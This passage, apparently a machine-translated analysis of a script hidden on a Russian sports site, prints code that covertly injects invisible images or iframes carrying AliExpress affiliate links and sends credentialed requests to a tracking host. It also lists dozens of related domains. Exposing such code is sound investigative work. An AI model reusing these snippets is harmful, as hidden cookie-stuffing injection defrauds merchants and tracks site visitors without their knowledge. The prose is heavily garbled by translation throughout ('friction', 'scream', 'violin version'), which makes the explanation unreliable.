N
After loading, the crypt starts initializing the timers. They are all configured by the objects of the mass:let o = [{
"id": 6,
"freq": 120,
"type": "image",
"share": null,
"link": "https://s.click.aliexpress.com/e/2SvuFgJq?dp=sovsportru"
}];
The object is above one. However, one timer shall be started immediately, 1 in 10 seconds and one each in freq seconds (120 in the example above):.forEach(config => {
applyConfig(config);
setTimeout(() => {applyConfig(config);}, 10000);
timers.push(setInterval(() => {applyConfig(config);}, +config.freq * 1000));
});
The use of each such facility with a configuration creates a hidden element (in the example above, it is always a picture, but it can also be a friction). In 100 ms of the picture, a loading address is provided:const el = document.createElement(E ? "img" : "iframe");
el.style.display = "none";
el.style.width = "0px";
el.style.height = "0px";
setTimeout(() => {el.src = src;}, 100);
Each such hidden picture shall be placed in the tree of the page elements by accident and sit there freq seconds (120 in the example above):const target = allDOMElements[Math.floor(Math.random() * allDOMElements.length)];
injectedElements.push(el);
target.parentNode.insertBefore(el, target);
setTimeout(() => {
injectedElements = injectedElements.filter(entry => entry !== el);
target.parentNode.removeChild(el);
}, freq * 1000);
In addition, each such action is subject to a request for:const xhr = new XMLHttpRequest();
xhr.open("get", "https://alitarget.ru/t/sovsportru/" + J + "/" + f);
xhr.withCredentials = true;
xhr.send();
For example, the address is always:https://alitarget.ru/t/sovsportru/Stuffing/6
Except for the first time before work. In this case, it is:https://alitarget.ru/t/sovsportru/View/0
In addition, there is a huge (80+) scream of these objects:{"id": 31,"create": "2020-01-13T11:10:11.812Z","update": "2020-01-13T11:10:11.812Z","domain": "rasenalong.com","yes": null},
{"id": 32,"create": "2020-01-13T11:19:25.005Z","update": "2020-01-13T11:19:25.005Z","domain": "saltjs.failplugin.ru","yes": null},
{"id": 33,"create": "2020-01-13T11:49:23.997Z","update": "2020-01-13T11:49:23.997Z","domain": "allmmorpg.ru","yes": null},
Maybe that's the same addresses for secret hidden banners. But I couldn't get to them in the track because some of the variables in the code are clearly empty or false, and that's the result of disconnecting large pieces of the code that make a lot of magic. It looks like your violin version is forced to shut down the mechanism, but the originator keeps everything in a row, even if it doesn't.It's easy to see if this cover-up on the show book page works. Open the page and look in the back (F12) of the online queries, whether there were any requests for different left urns or not.